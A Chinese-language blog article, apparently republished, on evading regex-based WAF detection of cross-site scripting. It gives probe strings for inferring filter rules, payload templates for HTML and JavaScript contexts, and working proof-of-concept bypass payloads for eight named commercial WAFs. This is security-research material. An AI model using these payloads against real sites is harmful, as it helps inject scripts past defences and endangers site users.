本篇文章给大家分享的是有关如何绕过WAF的XSS检测机制,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。
概述
本文提出了一种绕过XSS安全机制的新型方法,这种技术由三个阶段组成:确定Payload结构、探测和混淆处理。首先,我们需要针对给定的上下文环境,确定各种不同的Payload结构以达到最优的测试效果。接下来就是探测,这里涉及到根据目标所实现的安全机制来进行各种字符串测试,并分析目标的响应数据以便基于分析结果来做出安全假设。最后,根据分析结果来判断是否要对Payload进行混淆处理或结构调整。
介绍
XSS是Web应用程序中常见的漏洞之一,网站管理员可以通过用户输入过滤、根据上下文转换输出数据、正确使用DOM、强制执行跨源资源共享(CORS)策略以及其他的安全策略来规避XSS漏洞。尽管现在有很多预防XSS攻击的技术,但Web应用程序防火墙(WAF)或自定义数据过滤器是目前使用比较广泛的安全保护技术了,很多厂商都会利用这些技术来抵御新型的XSS攻击向量。虽然WAF厂商仍在尝试引入机器学习技术,但基于正则表达式的字符串检测方法仍是目前最广泛使用的技术。
下面提出了一种构造XSS Payload的新型方法,这种方法构造出来的XSS Payload可以绕过基于正则表达式匹配的安全机制。
HTML上下文
当用户的输入数据映射在Web页面的HTML代码中时,这种场景就是我们所谓的HTML上下文。HTML上下文可以根据用户输入在代码中的映射位置来进一步划分成:
1、 标签内:<inputtype="text" value="$input">
2、 标签外:<span>Youentered $input</span>
标签外
在这种上下文场景中,主要字符“<”代表HTML标签的起始。根据HTML定义,标签名必须以字母作为开头,因此我们可以利用下面的规则来判断用来匹配标签名的正则表达式:
1、<svg – 如果通过,表明没有进行任何标签检测;
2、<dev – 如果无法通过,则为<[a-z]+;
3、x<dev – 如果通过,则为^<[a-z]+;
4、<dEv – 如果无法通过,则为<[a-zA-Z]+;
5、<d3V – 如果无法通过,则为<[a-zA-Z0-9]+;
6、<d|3v – 如果无法通过,则为<.+;
如果上述方式均无法探测成功,则说明目标站点部署的安全机制无法被绕过。这种方式的假阳性率非常高,因此不鼓励使用。如果上述探测方式有一个可行,那么可用来构造Payload的机制就非常多了。
Payload机制#1
<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}
找到{tag}的合适值之后,就需要猜测用于匹配标签和事件处理器间数据过滤器的正则表达式了。这一步可以使用下面的探测机制来实现:
1、<tag xxx – 如果无法通过,则为{space};
2、<tag%09xxx – 如果无法通过,则为[/s];
3、<tag%09%09xxx – 如果无法通过,则为/s+;
4、<tag/xxx – 如果无法通过,则为[/s/]+;
5、<tag%0axxx- 如果无法通过,则为[/s/n]+;
6、<tag%0dxxx>- 如果无法通过,则为[/s/n/r+]+;
7、<tag/~/xxx – 如果无法通过,则为.*+;
这个组件(例如事件处理器)是Payload结构中最关键的部分。通常,匹配它的是常规正则表达式(例如“on/w+”)或黑名单(例如“on(load|click|error|show)”)。第一个正则表达式非常严格,很难绕过,而基于黑名单的模式可以通过不常用的事件处理器来绕过。安全机制的实现类型可以通过下面两种简单的方法来识别:
1、<tag{filler}onxxx – 如果无法通过,则为on/w+。如果通过,则为on(load|click|error|show);
2、<tag{filler}onclick- 如果通过,则表明没有事件处理器检测正则表达式;
下面是一些防火墙黑名单中没标记的事件处理器:
onauxclick ondblclick oncontextmenu onmouseleave ontouchcancel
常用的Payload结束符如下:
<payload> <payload <payload{space} <payload// <payload%0a <payload%0d <payload%09
Payload机制#2
<sCriPt{filler}sRc{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
使用了<object>标签的Payload可以利用下面的Payload机制来构建:
<obJecT{filler}data{?filler}={?filler}{url}{?filler}{>,//,Space,Tab,LF}
Payload机制#3
这种Payload机制有两种形式:明文或混淆处理。
明文结构如下:
<A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,//,Space,Tab,LF}
混淆处理后的Payload结构如下:
<A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,//,Space,Tab,LF}
JavaScript上下文
Payload机制#1
{quote}{delimiter}{javascript}{delimiter}{quote}
可用的Payload有:
'^{javascript}^' '*{javascript}*' '+{javascript}+' '/{javascript}/' '%{javascript}%' '|{javascript}|' '<{javascript}<' '>{javascript}>'
Payload机制#2
{quote}{delimiter}{javascript}//
可以使用下列Payload机制来构建Payload:
'<{javascript}//' '|{javascript}//' '^{javascript}//'
防火墙绕过
在研究过程中,总共绕过了八款WAF。下面的列表包含了可绕过的WAF、Paylaod以及相关的绕过技术:
WAF名称:Cloudflare
Payload:<a"/onclick=(confirm)()>click
绕过技术:非空格填充
WAF名称:Wordfence
Payload:<a/href=javascript&colon;alert()>click
绕过技术:数字字符编码
WAF名称:Barracuda
Payload:<a/href=&#74;ava%0a%0d%09script&colon;alert()>click
绕过技术:数字字符编码
WAF名称:Akamai
Payload:<d3v/onauxclick=[2].some(confirm)>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆
WAF名称:Comodo
Payload:<d3v/onauxclick=(((confirm)))“>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆
WAF名称:F5
Payload:<d3v/onmouseleave=[2].some(confirm)>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆
WAF名称:ModSecurity
Payload:<details/open/ontoggle=alert()>
绕过技术:黑名单中缺少标签或事件处理器
WAF名称:dotdefender
Payload:<details/open/ontoggle=(confirm)()//
绕过技术:黑名单中缺少结束标签、事件处理器和函数调用混淆
以上就是如何绕过WAF的XSS检测机制,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注亿速云行业资讯频道。
原创文章,作者:kepupublish,如若转载,请注明出处:https://blog.ytso.com/tech/safety/222099.html